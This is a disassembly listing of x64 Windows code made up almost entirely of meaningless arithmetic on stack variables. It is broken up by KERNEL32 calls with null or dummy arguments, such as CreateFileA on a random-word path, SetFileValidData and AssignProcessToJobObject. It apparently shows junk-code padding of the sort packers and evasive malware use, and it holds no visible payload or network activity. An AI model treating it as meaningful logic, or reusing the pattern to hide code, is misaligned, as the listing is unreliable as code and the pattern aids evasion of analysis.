mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x43bc], eax
lea rax, [rsp + 0x9128]
mov qword [rsp + 0x95d0], rax
movzx eax, word [rsp + 0xc34]
movzx ecx, word [rsp + 0xbe4]
shl eax, cl
mov word [rsp + 0xbf8], ax
movzx eax, word [rsp + 0xbdc]
mov word [0x1401e74c0], ax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x95d8], rax
movsx eax, word [0x1401e74b0]
movsx ecx, word [rsp + 0xb8c]
and eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
lea rax, [rsp + 0x9590]
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0x95d0]
mov rcx, qword [rsp + 0x93c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4394]
mov dword [rsp + 0x442c], eax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
and eax, ecx
mov rcx, qword [rsp + 0x9240]
mov byte [rcx], al
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e604c], ax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e6007]
sub eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4234], eax
movsx eax, word [rsp + 0xbc0]
movsx ecx, word [rsp + 0xb98]
sub eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x9180]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43dc], eax
lea rax, [rsp + 0x43c4]
mov qword [rsp + 0x95f0], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9090]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x7e], al
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x440c], eax
mov r9d, 0x2d
xor r8d, r8d
lea rdx, [rsp + 0x9058]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4430], eax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e6007], al
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x43f4], eax
movzx eax, word [rsp + 0xbd4]
movzx ecx, word [rsp + 0xc34]
sar eax, cl
mov rcx, qword [rsp + 0x9440]
mov word [rcx], ax
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
movzx eax, word [rsp + 0xbe4]
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x4424]
mov ecx, dword [rsp + 0x43c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [0x1401e7410]
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x90e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x9180]
mov rcx, qword [rsp + 0x95b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4384], eax
lea rcx, [rsp + 0x9600]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x73]
mov qword [rsp + 0x9608], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7675
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x93d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov byte [0x1401e6013], al
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba8]
sub eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43d8], eax
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
mov qword [rsp + 0x9610], rax
mov eax, dword [rsp + 0x42d4]
mov ecx, dword [rsp + 0x4388]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov dword [rsp + 0x4434], eax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
movsx eax, word [rsp + 0xbe8]
movsx ecx, word [rsp + 0xb8c]
add eax, ecx
mov word [0x1401e6050], ax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [0x1401e602b]
add eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0xbe0]
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
or eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x9618], rax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0x9418]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9470]
mov qword [rcx], rax
lea rax, [rsp + 0x4380]
mov qword [rsp + 0x9620], rax
movzx ecx, word [rsp + 0xc00]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
mov eax, dword [0x1401e6014]
movzx ecx, al
mov eax, dword [rsp + 0x4428]
shr eax, cl
mov dword [rsp + 0x4384], eax
mov rax, qword [rsp + 0x9090]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9298]
mov qword [rsp + 0x9628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9628]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
mov r9d, 0x102f
xor r8d, r8d
lea rdx, [rsp + 0x8c08]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4438], eax
movzx eax, word [rsp + 0xc10]
movzx ecx, word [rsp + 0xbe0]
and eax, ecx
mov word [0x1401e6054], ax
xor r9d, r9d
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x42ec], eax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x95a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbf8]
sub eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x9630], rax
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x90e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
lea rax, [rsp + 0x9418]
mov qword [rsp + 0x9638], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42c4], eax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0x9130]
mov eax, dword [rax]
mov dword [rsp + 0x443c], eax
movsx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e601f], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x436c], eax
mov rax, qword [0x1401e7480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9640], rax
mov rax, qword [rsp + 0x94d8]
movzx eax, word [rax]
mov word [rsp + 0xc64], ax
mov rax, qword [0x1401e7470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x93c8]
mov qword [rsp + 0x9648], rax
mov eax, dword [rsp + 0x43b0]
mov ecx, dword [rsp + 0x4340]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xdcec
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x436c], eax
mov rax, qword [rsp + 0x95e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9360]
mov qword [rsp + 0x9650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9650]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e10], rax
lea rax, [rsp + 0x424c]
mov qword [rsp + 0x9658], rax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4310], eax
movsx eax, word [rsp + 0xc50]
mov rcx, qword [rsp + 0x93f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e6028], ax
movzx eax, word [0x1401e74b4]
movzx ecx, word [rsp + 0xbf8]
xor eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
mov byte [rsp + 0x80], al
movzx eax, byte [rsp + 0x65]
movzx ecx, byte [0x1401e601c]
or eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x9660], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x9248]
mov rcx, qword [rsp + 0x9230]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4364], eax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x93e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93d0]
mov qword [rsp + 0x9670], rax
mov eax, dword [rsp + 0x43c4]
mov ecx, dword [rsp + 0x423c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9438]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4430], eax
lea rax, [rsp + 0xb84]
mov qword [0x1401e74c8], rax
lea rax, [0x1401e6007]
mov qword [rsp + 0x9678], rax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42ec], eax
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4440], eax
movzx eax, word [rsp + 0xc34]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov word [rsp + 0xbd4], ax
movsx eax, word [rsp + 0xc38]
movsx ecx, word [rsp + 0xc04]
sub eax, ecx
mov word [rsp + 0xba4], ax
movzx eax, byte [0x1401e602f]
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x437c], eax
mov rax, qword [rsp + 0x93e0]
mov rax, qword [rax]
mov qword [rsp + 0x9680], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4354], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
lea rcx, [rsp + 0x8df0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0x5d44da
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4440], eax
mov rax, qword [rsp + 0x95f0]
mov ecx, dword [rsp + 0x4380]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9590], rax
lea rax, [rsp + 0x7e]
mov qword [0x1401e74d0], rax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x82], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
add eax, ecx
mov byte [rsp + 0x6e], al
mov r9d, 1
lea r8, [rsp + 0x9600]
mov rdx, qword [rsp + 0x8db0]
mov rcx, qword [rsp + 0x9410]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4408], eax
movzx eax, word [rsp + 0xba8]
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
movzx ecx, word [0x1401e6030]
sar eax, cl
mov rcx, qword [rsp + 0x9388]
mov word [rcx], ax
mov rax, qword [rsp + 0x9150]
mov eax, dword [rax]
mov dword [rsp + 0x4444], eax
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0x9490]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x8fa0]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov qword [rsp + 0x9690], rax
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4448], eax
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e6004], ax
movzx ecx, word [rsp + 0xbbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
mov rax, qword [0x1401e74c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc50]
add eax, ecx
mov word [rsp + 0xbf0], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0x83], al
movsx eax, byte [rsp + 0x64]
movsx ecx, byte [rsp + 0x73]
and eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [0x1401e7498]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
lea rax, [rsp + 0x43e0]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x9328]
mov ecx, dword [rsp + 0x43bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x95f0]
mov dword [rcx], eax
lea rax, [rsp + 0x94c0]
mov qword [rsp + 0x96a0], rax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0x90e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9488], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc2c]
add eax, ecx
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
mov rax, qword [0x1401e74a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7428]
mov word [rcx], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e602e]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x92b8]
movzx eax, word [rax]
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x9230]
mov rcx, qword [rsp + 0x9270]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4420], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov r9d, 0xb67
xor r8d, r8d
lea rdx, [rsp + 0x8fd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x444c], eax
mov eax, dword [rsp + 0x43ac]
mov ecx, dword [rsp + 0x424c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43a8], eax
lea rax, [rsp + 0x91f8]
mov qword [rsp + 0x96a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rcx, [rsp + 0x25458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x92b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9360]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
lea rax, [rsp + 0xc34]
mov qword [rsp + 0x96b8], rax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x43fc], eax
lea rax, [0x1401e602e]
mov qword [0x1401e74d8], rax
movzx eax, word [rsp + 0xbd0]
mov rcx, qword [rsp + 0x9020]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xbd4], ax
lea rdx, [rsp + 0x42f0]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
mov byte [rsp + 0x85], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:TroubleshootinghooliganProprietorDispossessed_redeveloping
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x96c0], rax
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [0x1401e74d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9520]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9258]
mov qword [rsp + 0x96c8], rax
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4444]
shl eax, cl
mov dword [rsp + 0x41d0], eax
mov eax, dword [rsp + 0x4344]
mov dword [rsp + 0x4450], eax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
mov edx, 0x19c378
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x43c8], eax
lea rdx, [rsp + 0x28180]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4454], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx eax, word [0x1401e6044]
mov word [0x1401e74e0], ax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc24]
sub eax, ecx
mov rcx, qword [rsp + 0x9660]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x69]
mov qword [rsp + 0x96d0], rax
movsx eax, word [rsp + 0xbe8]
mov rcx, qword [0x1401e74c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbdc], ax
mov rcx, qword [rsp + 0x9058]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9288]
mov qword [rsp + 0x96d8], rax
lea rcx, [rsp + 0x96e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x96a8]
mov rcx, qword [rsp + 0x9278]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [0x1401e6014]
mov ecx, dword [rsp + 0x43e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0x9438]
mov eax, dword [rax]
mov dword [rsp + 0x4458], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov byte [rcx], al
movzx eax, word [rsp + 0xbe0]
movzx ecx, word [0x1401e6054]
sub eax, ecx
mov word [str.__f_n_], ax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov byte [rsp + 0x86], al
movsx eax, word [rsp + 0xbf0]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba0], ax
lea rax, [0x1401e601f]
mov qword [rsp + 0x96e8], rax
movzx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9440]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x9018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x94e8]
mov dword [rcx], eax
mov eax, dword [0x1401e741c]
mov dword [rsp + 0x445c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x94e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9500], rax
lea rax, [rsp + 0x9050]
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x93a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9368]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e601c], al
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0x5c]
or eax, ecx
mov byte [rsp + 0x7f], al
movsx eax, word [rsp + 0xba4]
movsx ecx, word [rsp + 0xbf4]
xor eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [0x1401e74a8]
movzx eax, byte [rax]
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x67], al
lea rax, [rsp + 0x4380]
mov qword [rsp + 0x96f8], rax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x90c0], rax
mov r9d, 1
lea r8, [rsp + 0x94b8]
mov rdx, qword [rsp + 0x9100]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4460], eax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d4], eax
mov rax, qword [rsp + 0x9490]
mov qword [rsp + 0x9700], rax
movzx eax, word [0x1401e74b4]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov word [0x1401e605c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
and eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xc60]
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x90f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xba8]
add eax, ecx
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
lea rax, [rsp + 0x4434]
mov qword [rsp + 0x9710], rax
mov eax, dword [rsp + 0x43e0]
mov ecx, dword [rsp + 0x4388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4390], eax
mov rax, qword [rsp + 0x95c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9608]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7498]
mov byte [rcx], al
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
